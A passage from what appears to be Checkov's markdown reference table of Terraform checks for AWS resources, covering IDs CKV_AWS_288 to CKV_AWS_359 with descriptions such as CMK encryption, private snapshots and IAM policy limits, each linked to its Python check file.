aws_iam_user_policy                                              | Ensure IAM policies does not allow data exfiltration                                                                                                                                                     | Terraform | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMDataExfiltration.py)                                                                                         |\n|  412 | CKV_AWS_288     | resource | aws_ssoadmin_permission_set_inline_policy                        | Ensure IAM policies does not allow data exfiltration                                                                                                                                                     | Terraform | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMDataExfiltration.py)                                                                                         |\n|  413 | CKV_AWS_289     | resource | aws_iam_group_policy                                             | Ensure IAM policies does not allow permissions management / resource exposure without constraints                                                                                                        | Terraform | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPermissionsManagement.py)                                                                               |\n|  414 | CKV_AWS_289     | resource | aws_iam_policy                                                   | Ensure IAM policies does not allow permissions management / resource exposure without constraints                                                                                                        | Terraform | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPermissionsManagement.py)                                                                               |\n|  415 | CKV_AWS_289     | resource | aws_iam_role_policy                                              | Ensure IAM policies does not allow permissions management / resource exposure without constraints                                                                                                        | Terraform | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPermissionsManagement.py)                                                                               |\n|  416 | CKV_AWS_289     | resource | aws_iam_user_policy                                              | Ensure IAM policies does not allow permissions management / resource exposure without constraints                                                                                                        | Terraform | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPermissionsManagement.py)                                                                               |\n|  417 | CKV_AWS_289     | resource | aws_ssoadmin_permission_set_inline_policy                        | Ensure IAM policies does not allow permissions management / resource exposure without constraints                                                                                                        | Terraform | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPermissionsManagement.py)                                                                               |\n|  418 | CKV_AWS_290     | resource | aws_iam_group_policy                                             | Ensure IAM policies does not allow write access without constraints                                                                                                                                      | Terraform | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMWriteAccess.py)                                                                                                   |\n|  419 | CKV_AWS_290     | resource | aws_iam_policy                                                   | Ensure IAM policies does not allow write access without constraints                                                                                                                                      | Terraform | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMWriteAccess.py)                                                                                                   |\n|  420 | CKV_AWS_290     | resource | aws_iam_role_policy                                              | Ensure IAM policies does not allow write access without constraints                                                                                                                                      | Terraform | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMWriteAccess.py)                                                                                                   |\n|  421 | CKV_AWS_290     | resource | aws_iam_user_policy                                              | Ensure IAM policies does not allow write access without constraints                                                                                                                                      | Terraform | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMWriteAccess.py)                                                                                                   |\n|  422 | CKV_AWS_290     | resource | aws_ssoadmin_permission_set_inline_policy                        | Ensure IAM policies does not allow write access without constraints                                                                                                                                      | Terraform | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMWriteAccess.py)                                                                                                   |\n|  423 | CKV_AWS_291     | resource | aws_msk_cluster                                                  | Ensure MSK nodes are private                                                                                                                                                                             | Terraform | [MSKClusterNodesArePrivate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MSKClusterNodesArePrivate.py)                                                                             |\n|  424 | CKV_AWS_292     | resource | aws_docdb_global_cluster                                         | Ensure DocumentDB Global Cluster is encrypted at rest (default is unencrypted)                                                                                                                           | Terraform | [DocDBGlobalClusterEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DocDBGlobalClusterEncryption.py)                                                                       |\n|  425 | CKV_AWS_293     | resource | aws_db_instance                                                  | Ensure that AWS database instances have deletion protection enabled                                                                                                                                      | Terraform | [RDSInstanceDeletionProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSInstanceDeletionProtection.py)                                                                     |\n|  426 | CKV_AWS_294     | resource | aws_cloudtrail_event_data_store                                  | Ensure CloudTrail Event Data Store uses CMK                                                                                                                                                              | Terraform | [CloudtrailEventDataStoreUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudtrailEventDataStoreUsesCMK.py)                                                                 |\n|  427 | CKV_AWS_295     | resource | aws_datasync_location_object_storage                             | Ensure DataSync Location Object Storage doesn't expose secrets                                                                                                                                           | Terraform | [DatasyncLocationExposesSecrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DatasyncLocationExposesSecrets.py)                                                                   |\n|  428 | CKV_AWS_296     | resource | aws_dms_endpoint                                                 | Ensure DMS endpoint uses Customer Managed Key (CMK)                                                                                                                                                      | Terraform | [DMSEndpointUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DMSEndpointUsesCMK.py)                                                                                           |\n|  429 | CKV_AWS_297     | resource | aws_scheduler_schedule                                           | Ensure EventBridge Scheduler Schedule uses Customer Managed Key (CMK)                                                                                                                                    | Terraform | [SchedulerScheduleUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SchedulerScheduleUsesCMK.py)                                                                               |\n|  430 | CKV_AWS_298     | resource | aws_dms_s3_endpoint                                              | Ensure DMS S3 uses Customer Managed Key (CMK)                                                                                                                                                            | Terraform | [DMSS3UsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DMSS3UsesCMK.py)                                                                                                       |\n|  431 | CKV_AWS_300     | resource | aws_s3_bucket_lifecycle_configuration                            | Ensure S3 lifecycle configuration sets period for aborting failed uploads                                                                                                                                | Terraform | [S3AbortIncompleteUploads.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3AbortIncompleteUploads.py)                                                                               |\n|  432 | CKV_AWS_301     | resource | aws_lambda_permission                                            | Ensure that AWS Lambda function is not publicly accessible                                                                                                                                               | Terraform | [LambdaFunctionIsNotPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaFunctionIsNotPublic.py)                                                                             |\n|  433 | CKV_AWS_302     | resource | aws_db_snapshot                                                  | Ensure DB Snapshots are not Public                                                                                                                                                                       | Terraform | [DBSnapshotsArePrivate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DBSnapshotsArePrivate.py)                                                                                     |\n|  434 | CKV_AWS_303     | resource | aws_ssm_document                                                 | Ensure SSM documents are not Public                                                                                                                                                                      | Terraform | [SSMDocumentsArePrivate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SSMDocumentsArePrivate.py)                                                                                   |\n|  435 | CKV_AWS_304     | resource | aws_secretsmanager_secret_rotation                               | Ensure Secrets Manager secrets should be rotated within 90 days                                                                                                                                          | Terraform | [SecretManagerSecret90days.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecretManagerSecret90days.py)                                                                             |\n|  436 | CKV_AWS_305     | resource | aws_cloudfront_distribution                                      | Ensure CloudFront distribution has a default root object configured                                                                                                                                      | Terraform | [CloudfrontDistributionDefaultRoot.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudfrontDistributionDefaultRoot.py)                                                             |\n|  437 | CKV_AWS_306     | resource | aws_sagemaker_notebook_instance                                  | Ensure SageMaker notebook instances should be launched into a custom VPC                                                                                                                                 | Terraform | [SagemakerNotebookInCustomVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerNotebookInCustomVPC.py)                                                                       |\n|  438 | CKV_AWS_307     | resource | aws_sagemaker_notebook_instance                                  | Ensure SageMaker Users should not have root access to SageMaker notebook instances                                                                                                                       | Terraform | [SagemakerNotebookRoot.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerNotebookRoot.py)                                                                                     |\n|  439 | CKV_AWS_308     | resource | aws_api_gateway_method_settings                                  | Ensure API Gateway method setting caching is set to encrypted                                                                                                                                            | Terraform | [APIGatewayMethodSettingsCacheEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayMethodSettingsCacheEncrypted.py)                                                   |\n|  440 | CKV_AWS_309     | resource | aws_apigatewayv2_route                                           | Ensure API GatewayV2 routes specify an authorization type                                                                                                                                                | Terraform | [APIGatewayV2RouteDefinesAuthorizationType.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayV2RouteDefinesAuthorizationType.py)                                             |\n|  441 | CKV_AWS_310     | resource | aws_cloudfront_distribution                                      | Ensure CloudFront distributions should have origin failover configured                                                                                                                                   | Terraform | [CloudfrontDistributionOriginFailover.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudfrontDistributionOriginFailover.py)                                                       |\n|  442 | CKV_AWS_311     | resource | aws_codebuild_project                                            | Ensure that CodeBuild S3 logs are encrypted                                                                                                                                                              | Terraform | [CodebuildS3LogsEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CodebuildS3LogsEncrypted.py)                                                                               |\n|  443 | CKV_AWS_312     | resource | aws_elastic_beanstalk_environment                                | Ensure Elastic Beanstalk environments have enhanced health reporting enabled                                                                                                                             | Terraform | [ElasticBeanstalkUseEnhancedHealthChecks.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticBeanstalkUseEnhancedHealthChecks.py)                                                 |\n|  444 | CKV_AWS_313     | resource | aws_rds_cluster                                                  | Ensure RDS cluster configured to copy tags to snapshots                                                                                                                                                  | Terraform | [RDSClusterCopyTags.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSClusterCopyTags.py)                                                                                           |\n|  445 | CKV_AWS_314     | resource | aws_codebuild_project                                            | Ensure CodeBuild project environments have a logging configuration                                                                                                                                       | Terraform | [CodebuildHasLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CodebuildHasLogs.py)                                                                                               |\n|  446 | CKV_AWS_315     | resource | aws_autoscaling_group                                            | Ensure EC2 Auto Scaling groups use EC2 launch templates                                                                                                                                                  | Terraform | [AutoScalingLaunchTemplate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AutoScalingLaunchTemplate.py)                                                                             |\n|  447 | CKV_AWS_316     | resource | aws_codebuild_project                                            | Ensure CodeBuild project environments do not have privileged mode enabled                                                                                                                                | Terraform | [CodeBuildPrivilegedMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CodeBuildPrivilegedMode.py)                                                                                 |\n|  448 | CKV_AWS_317     | resource | aws_elasticsearch_domain                                         | Ensure Elasticsearch Domain Audit Logging is enabled                                                                                                                                                     | Terraform | [ElasticsearchDomainAuditLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchDomainAuditLogging.py)                                                                 |\n|  449 | CKV_AWS_317     | resource | aws_opensearch_domain                                            | Ensure Elasticsearch Domain Audit Logging is enabled                                                                                                                                                     | Terraform | [ElasticsearchDomainAuditLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchDomainAuditLogging.py)                                                                 |\n|  450 | CKV_AWS_318     | resource | aws_elasticsearch_domain                                         | Ensure Elasticsearch domains are configured with at least three dedicated master nodes for HA                                                                                                            | Terraform | [ElasticsearchDomainHA.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchDomainHA.py)                                                                                     |\n|  451 | CKV_AWS_318     | resource | aws_opensearch_domain                                            | Ensure Elasticsearch domains are configured with at least three dedicated master nodes for HA                                                                                                            | Terraform | [ElasticsearchDomainHA.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchDomainHA.py)                                                                                     |\n|  452 | CKV_AWS_319     | resource | aws_cloudwatch_metric_alarm                                      | Ensure that CloudWatch alarm actions are enabled                                                                                                                                                         | Terraform | [CloudWatchAlarmsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudWatchAlarmsEnabled.py)                                                                                 |\n|  453 | CKV_AWS_320     | resource | aws_redshift_cluster                                             | Ensure Redshift clusters do not use the default database name                                                                                                                                            | Terraform | [RedshiftClusterDatabaseName.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftClusterDatabaseName.py)                                                                         |\n|  454 | CKV_AWS_321     | resource | aws_redshift_cluster                                             | Ensure Redshift clusters use enhanced VPC routing                                                                                                                                                        | Terraform | [RedshiftClusterUseEnhancedVPCRouting.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftClusterUseEnhancedVPCRouting.py)                                                       |\n|  455 | CKV_AWS_322     | resource | aws_elasticache_cluster                                          | Ensure ElastiCache for Redis cache clusters have auto minor version upgrades enabled                                                                                                                     | Terraform | [ElasticCacheAutomaticMinorUpgrades.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticCacheAutomaticMinorUpgrades.py)                                                           |\n|  456 | CKV_AWS_323     | resource | aws_elasticache_cluster                                          | Ensure ElastiCache clusters do not use the default subnet group                                                                                                                                          | Terraform | [ElastiCacheHasCustomSubnet.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElastiCacheHasCustomSubnet.py)                                                                           |\n|  457 | CKV_AWS_324     | resource | aws_rds_cluster                                                  | Ensure that RDS Cluster log capture is enabled                                                                                                                                                           | Terraform | [RDSClusterLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSClusterLogging.py)                                                                                             |\n|  458 | CKV_AWS_325     | resource | aws_rds_cluster                                                  | Ensure that RDS Cluster audit logging is enabled for MySQL engine                                                                                                                                        | Terraform | [RDSClusterAuditLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSClusterAuditLogging.py)                                                                                   |\n|  459 | CKV_AWS_326     | resource | aws_rds_cluster                                                  | Ensure that RDS Aurora Clusters have backtracking enabled                                                                                                                                                | Terraform | [RDSClusterAuroraBacktrack.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSClusterAuroraBacktrack.py)                                                                             |\n|  460 | CKV_AWS_327     | resource | aws_rds_cluster                                                  | Ensure RDS Clusters are encrypted using KMS CMKs                                                                                                                                                         | Terraform | [RDSClusterEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSClusterEncryptedWithCMK.py)                                                                           |\n|  461 | CKV_AWS_328     | resource | aws_alb                                                          | Ensure that ALB is configured with defensive or strictest desync mitigation mode                                                                                                                         | Terraform | [ALBDesyncMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ALBDesyncMode.py)                                                                                                     |\n|  462 | CKV_AWS_328     | resource | aws_elb                                                          | Ensure that ALB is configured with defensive or strictest desync mitigation mode                                                                                                                         | Terraform | [ALBDesyncMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ALBDesyncMode.py)                                                                                                     |\n|  463 | CKV_AWS_328     | resource | aws_lb                                                           | Ensure that ALB is configured with defensive or strictest desync mitigation mode                                                                                                                         | Terraform | [ALBDesyncMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ALBDesyncMode.py)                                                                                                     |\n|  464 | CKV_AWS_329     | resource | aws_efs_access_point                                             | EFS access points should enforce a root directory                                                                                                                                                        | Terraform | [EFSAccessPointRoot.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EFSAccessPointRoot.py)                                                                                           |\n|  465 | CKV_AWS_330     | resource | aws_efs_access_point                                             | EFS access points should enforce a user identity                                                                                                                                                         | Terraform | [EFSAccessUserIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EFSAccessUserIdentity.py)                                                                                     |\n|  466 | CKV_AWS_331     | resource | aws_ec2_transit_gateway                                          | Ensure Transit Gateways do not automatically accept VPC attachment requests                                                                                                                              | Terraform | [Ec2TransitGatewayAutoAccept.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/Ec2TransitGatewayAutoAccept.py)                                                                         |\n|  467 | CKV_AWS_332     | resource | aws_ecs_service                                                  | Ensure ECS Fargate services run on the latest Fargate platform version                                                                                                                                   | Terraform | [ECSServiceFargateLatest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECSServiceFargateLatest.py)                                                                                 |\n|  468 | CKV_AWS_333     | resource | aws_ecs_service                                                  | Ensure ECS services do not have public IP addresses assigned to them automatically                                                                                                                       | Terraform | [ECSServicePublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECSServicePublicIP.py)                                                                                           |\n|  469 | CKV_AWS_334     | resource | aws_ecs_task_definition                                          | Ensure ECS containers should run as non-privileged                                                                                                                                                       | Terraform | [ECSContainerPrivilege.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECSContainerPrivilege.py)                                                                                     |\n|  470 | CKV_AWS_335     | resource | aws_ecs_task_definition                                          | Ensure ECS task definitions should not share the host's process namespace                                                                                                                                | Terraform | [ECSContainerHostProcess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECSContainerHostProcess.py)                                                                                 |\n|  471 | CKV_AWS_336     | resource | aws_ecs_task_definition                                          | Ensure ECS containers are limited to read-only access to root filesystems                                                                                                                                | Terraform | [ECSContainerReadOnlyRoot.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECSContainerReadOnlyRoot.py)                                                                               |\n|  472 | CKV_AWS_337     | resource | aws_ssm_parameter                                                | Ensure SSM parameters are using KMS CMK                                                                                                                                                                  | Terraform | [SSMParameterUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SSMParameterUsesCMK.py)                                                                                         |\n|  473 | CKV_AWS_338     | resource | aws_cloudwatch_log_group                                         | Ensure CloudWatch log groups retains logs for at least 1 year                                                                                                                                            | Terraform | [CloudWatchLogGroupRetentionYear.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudWatchLogGroupRetentionYear.py)                                                                 |\n|  474 | CKV_AWS_339     | resource | aws_eks_cluster                                                  | Ensure EKS clusters run on a supported Kubernetes version                                                                                                                                                | Terraform | [EKSPlatformVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EKSPlatformVersion.py)                                                                                           |\n|  475 | CKV_AWS_340     | resource | aws_elastic_beanstalk_environment                                | Ensure Elastic Beanstalk managed platform updates are enabled                                                                                                                                            | Terraform | [ElasticBeanstalkUseManagedUpdates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticBeanstalkUseManagedUpdates.py)                                                             |\n|  476 | CKV_AWS_341     | resource | aws_launch_configuration                                         | Ensure Launch template should not have a metadata response hop limit greater than 1                                                                                                                      | Terraform | [LaunchTemplateMetadataHop.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LaunchTemplateMetadataHop.py)                                                                             |\n|  477 | CKV_AWS_341     | resource | aws_launch_template                                              | Ensure Launch template should not have a metadata response hop limit greater than 1                                                                                                                      | Terraform | [LaunchTemplateMetadataHop.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LaunchTemplateMetadataHop.py)                                                                             |\n|  478 | CKV_AWS_342     | resource | aws_waf_rule_group                                               | Ensure WAF rule has any actions                                                                                                                                                                          | Terraform | [WAFRuleHasAnyActions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFRuleHasAnyActions.py)                                                                                       |\n|  479 | CKV_AWS_342     | resource | aws_waf_web_acl                                                  | Ensure WAF rule has any actions                                                                                                                                                                          | Terraform | [WAFRuleHasAnyActions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFRuleHasAnyActions.py)                                                                                       |\n|  480 | CKV_AWS_342     | resource | aws_wafregional_rule_group                                       | Ensure WAF rule has any actions                                                                                                                                                                          | Terraform | [WAFRuleHasAnyActions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFRuleHasAnyActions.py)                                                                                       |\n|  481 | CKV_AWS_342     | resource | aws_wafregional_web_acl                                          | Ensure WAF rule has any actions                                                                                                                                                                          | Terraform | [WAFRuleHasAnyActions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFRuleHasAnyActions.py)                                                                                       |\n|  482 | CKV_AWS_342     | resource | aws_wafv2_rule_group                                             | Ensure WAF rule has any actions                                                                                                                                                                          | Terraform | [WAFRuleHasAnyActions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFRuleHasAnyActions.py)                                                                                       |\n|  483 | CKV_AWS_342     | resource | aws_wafv2_web_acl                                                | Ensure WAF rule has any actions                                                                                                                                                                          | Terraform | [WAFRuleHasAnyActions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFRuleHasAnyActions.py)                                                                                       |\n|  484 | CKV_AWS_343     | resource | aws_redshift_cluster                                             | Ensure Amazon Redshift clusters should have automatic snapshots enabled                                                                                                                                  | Terraform | [RedshiftClusterAutoSnap.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftClusterAutoSnap.py)                                                                                 |\n|  485 | CKV_AWS_344     | resource | aws_networkfirewall_firewall                                     | Ensure that Network firewalls have deletion protection enabled                                                                                                                                           | Terraform | [NetworkFirewallDeletionProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkFirewallDeletionProtection.py)                                                             |\n|  486 | CKV_AWS_345     | resource | aws_networkfirewall_firewall                                     | Ensure that Network firewall encryption is via a CMK                                                                                                                                                     | Terraform | [NetworkFirewallUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkFirewallUsesCMK.py)                                                                                   |\n|  487 | CKV_AWS_345     | resource | aws_networkfirewall_rule_group                                   | Ensure that Network firewall encryption is via a CMK                                                                                                                                                     | Terraform | [NetworkFirewallUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkFirewallUsesCMK.py)                                                                                   |\n|  488 | CKV_AWS_346     | resource | aws_networkfirewall_firewall_policy                              | Ensure Network Firewall Policy defines an encryption configuration that uses a customer managed Key (CMK)                                                                                                | Terraform | [NetworkFirewallPolicyDefinesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkFirewallPolicyDefinesCMK.py)                                                                 |\n|  489 | CKV_AWS_347     | resource | aws_neptune_cluster                                              | Ensure Neptune is encrypted by KMS using a customer managed Key (CMK)                                                                                                                                    | Terraform | [NeptuneClusterEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NeptuneClusterEncryptedWithCMK.py)                                                                   |\n|  490 | CKV_AWS_348     | resource | aws_iam_access_key                                               | Ensure IAM root user does not have Access keys                                                                                                                                                           | Terraform | [IAMUserRootAccessKeys.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMUserRootAccessKeys.py)                                                                                     |\n|  491 | CKV_AWS_349     | resource | aws_emr_security_configuration                                   | Ensure EMR Cluster security configuration encrypts local disks                                                                                                                                           | Terraform | [EMRClusterConfEncryptsLocalDisk.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EMRClusterConfEncryptsLocalDisk.py)                                                                 |\n|  492 | CKV_AWS_350     | resource | aws_emr_security_configuration                                   | Ensure EMR Cluster security configuration encrypts EBS disks                                                                                                                                             | Terraform | [EMRClusterConfEncryptsEBS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EMRClusterConfEncryptsEBS.py)                                                                             |\n|  493 | CKV_AWS_351     | resource | aws_emr_security_configuration                                   | Ensure EMR Cluster security configuration encrypts InTransit                                                                                                                                             | Terraform | [EMRClusterConfEncryptsInTransit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EMRClusterConfEncryptsInTransit.py)                                                                 |\n|  494 | CKV_AWS_352     | resource | aws_network_acl_rule                                             | Ensure NACL ingress does not allow all Ports                                                                                                                                                             | Terraform | [NetworkACLUnrestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkACLUnrestricted.py)                                                                                   |\n|  495 | CKV_AWS_353     | resource | aws_db_instance                                                  | Ensure that RDS instances have performance insights enabled                                                                                                                                              | Terraform | [RDSInstancePerformanceInsights.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSInstancePerformanceInsights.py)                                                                   |\n|  496 | CKV_AWS_353     | resource | aws_rds_cluster_instance                                         | Ensure that RDS instances have performance insights enabled                                                                                                                                              | Terraform | [RDSInstancePerformanceInsights.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSInstancePerformanceInsights.py)                                                                   |\n|  497 | CKV_AWS_354     | resource | aws_db_instance                                                  | Ensure RDS Performance Insights are encrypted using KMS CMKs                                                                                                                                             | Terraform | [RDSInstancePerfInsightsEncryptionWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSInstancePerfInsightsEncryptionWithCMK.py)                                               |\n|  498 | CKV_AWS_354     | resource | aws_rds_cluster_instance                                         | Ensure RDS Performance Insights are encrypted using KMS CMKs                                                                                                                                             | Terraform | [RDSInstancePerfInsightsEncryptionWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSInstancePerfInsightsEncryptionWithCMK.py)                                               |\n|  499 | CKV_AWS_355     | resource | aws_iam_group_policy                                             | Ensure no IAM policies documents allow \"*\" as a statement's resource for restrictable actions                                                                                                            | Terraform | [IAMStarResourcePolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMStarResourcePolicyDocument.py)                                                                     |\n|  500 | CKV_AWS_355     | resource | aws_iam_policy                                                   | Ensure no IAM policies documents allow \"*\" as a statement's resource for restrictable actions                                                                                                            | Terraform | [IAMStarResourcePolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMStarResourcePolicyDocument.py)                                                                     |\n|  501 | CKV_AWS_355     | resource | aws_iam_role_policy                                              | Ensure no IAM policies documents allow \"*\" as a statement's resource for restrictable actions                                                                                                            | Terraform | [IAMStarResourcePolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMStarResourcePolicyDocument.py)                                                                     |\n|  502 | CKV_AWS_355     | resource | aws_iam_user_policy                                              | Ensure no IAM policies documents allow \"*\" as a statement's resource for restrictable actions                                                                                                            | Terraform | [IAMStarResourcePolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMStarResourcePolicyDocument.py)                                                                     |\n|  503 | CKV_AWS_355     | resource | aws_ssoadmin_permission_set_inline_policy                        | Ensure no IAM policies documents allow \"*\" as a statement's resource for restrictable actions                                                                                                            | Terraform | [IAMStarResourcePolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMStarResourcePolicyDocument.py)                                                                     |\n|  504 | CKV_AWS_356     | data     | aws_iam_policy_document                                          | Ensure no IAM policies documents allow \"*\" as a statement's resource for restrictable actions                                                                                                            | Terraform | [ResourcePolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/ResourcePolicyDocument.py)                                                                                       |\n|  505 | CKV_AWS_357     | resource | aws_transfer_server                                              | Ensure Transfer Server allows only secure protocols                                                                                                                                                      | Terraform | [TransferServerAllowsOnlySecureProtocols.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/TransferServerAllowsOnlySecureProtocols.py)                                                 |\n|  506 | CKV_AWS_358     | data     | aws_iam_policy_document                                          | Ensure AWS GitHub Actions OIDC authorization policies only allow safe claims and claim order                                                                                                             | Terraform | [GithubActionsOIDCTrustPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/GithubActionsOIDCTrustPolicy.py)                                                                           |\n|  507 | CKV_AWS_359     | resource | aws_neptune_cluster                                              | Neptune DB clusters should have IAM database authentication enabled                                                                                                                                      | Terraform | 